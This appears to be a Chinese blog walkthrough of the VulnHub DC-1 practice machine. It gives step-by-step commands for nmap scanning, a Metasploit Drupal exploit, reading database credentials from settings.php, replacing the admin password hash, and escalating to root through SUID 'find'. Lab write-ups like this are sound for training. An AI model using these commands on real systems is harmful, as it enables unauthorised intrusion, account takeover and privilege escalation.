可参考下面文章进行安装
DC-1靶机
官网下载 https://download.vulnhub.com/dc/DC-1.zip
2. 安装过程
解压后得到个.ova文件
用vm虚拟机打开该文件
设置好相关操作
提示导入失败,不过没有关系点重试就好,导入完成后,打开DC-1虚拟机并等待,过程中别点进虚拟机里面
出现这个界面就表示开启成功 (渗透完得到密码就能登入啦),然后再更改kali的网络连接模式为桥接模式,让DC靶机跟kali处于同一网段,这用kali才能扫出DC的主机,当然也可以设置为net,但必须DC-1靶机也设为net
开始需要将下载好的靶机改为net模式这样可以把靶机与虚拟机里的kali在同一网段下
nmap -sP 192.168.75.130/24 (这个ip是卡里攻击机的ip)
很容易发现192.168.75.141为靶机ip接下来开始扫描开启的有哪些端口
dc-1:192.168.75.141
nmap -A -p- 192.168.75.141
作为一个初学者一般需要我们注意的端口没多少像3306,22,80这些常规的一定要注意现在我们的思路应该是
- 进入网页看看是否有什么提示信息同时进行目录扫描便于后面线索的发现
- 能否得到账号密码直接连接ssh(连接ssh的方法还是挺多的可以用超级弱口令检查工具也可以用kali自带的九头蛇)
这里给大家推荐一个火狐插件在这个插件是能够看到cms 操作系统等信息相当于我们在卡里上输入
whatweb -v 192.168.75.141
看到cms为Drupal7尝试利用kali去查找是否存在漏洞(这个思路也是我看其他博客都这样做的我就没有尝试去网页里寻找信息有兴趣的小伙伴可以自行去查看一下尝试破解新思路然后在下面评论一下 谢谢)
Msfconsole
(有意思的是这个东西软件每次打开的页面都会不一样)
search drupal
如何进行选择呢 我是看Rank 还有Date excellent 时间比较晚的应该就是我们的选择了
use 1
show options 这里需要看的是RHOSTS 然后把它设置为靶机的ip
set RHOSTS 192.168.75.141
run
出现Meterpreter session 1 opened(kali和目标ip的连接)就说明攻击成功啦,接下来我们可以直接上shell
shell
python -c "import pty;pty.spawn('/bin/bash')" 此代码主要是把页面规整化利用python实现互交shell
拿到shell之后首先是进行三连
whoami
id
pwd
然后在当前用户下看看能不能发现一些东西
ls
cat flag1.txt
Every good CMS needs a config file - and so do you.(在这里经过翻译得知是提示配置文件
根据提示看一下配置文件,一般来说配置文件都有一些特别重要的信息在里面,搞不好还能提权,百度Drupal配置文件,路径挺复杂的不过知道名字叫settings.php,我们可以用命令直接搜索并打开,内联执行
cat `find / -name settings.php`
然后在其中发现了flag2和数据库的东西
然后我们就尝试进入靶机数据库
mysql -udbuser -pR0ck3t
show databases
第一个库是mysql自带的所以直接看下面这个就好
use drupaldb
show tables
这里面表太多了我们就看user这种敏感的就行了你如果一个一个的去看就太浪费时间了 而且这个靶机也太没意思了
select * from users\G; (后面\G是让显示出来的信息旋转90度 更有利于发现信息
得到了两个账户和密码但是密码是经过加密之后的所以我们要想办法进行解密然后进行下一步
| admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR |
| Fred | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg |
尝试发现密码的加密规则,新开一个终端窗口输入hash-identifier 查询密码的加密方式
$S$D7BoMCmj4828RFeq3OSlxq6p1W5ObcqM/PNcLKg4wPqjLhvN1di9
发现查询不到,当然,这一步并不是无用功,正是因为查询不到其加密方式,所以暴力破解是无法攻破的,因此我们需要换种方式,经过百度其他人的成果(虽然这样不好,但是我这菜鸡还是没想到如何才能搞定这个)发现Drupal可以利用password-hash.sh文件来生成此种加密的结果。
hash-identifier
S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR
find . -name "*hash*"
./scripts/password-hash.sh 123456
然后利用数据库命令将admin密码进行修改
Update sers set pass='$S$DSQjRcG/Skj6aMFAJjTI3AdeMIonv.dzLSI2lUYSc.p.bdKxluGd' where name='admin';
然后我们就可以在最开始的页面输入账号密码看是否可以进入
登陆成功而且发现了flag3
可以自行翻译根据关键词passwd是否能想到/etc/passwd 然后我们查看一下
cat etc/passwd
我们前去home目录下查看是否有flag4
然后就是最后一步提权了这里用到的方法是SUID提权具体
利用find命令,找查具有SUID权限的可执行二进制文件
find / -perm -u=s -type f 2>/dev/null
find / -name index.php -exec "/bin/sh" \;
flag5 =thefinalflag.txt
提权成功直接进入root用户下查找最终的flag5 到这里这个靶机就算是结束了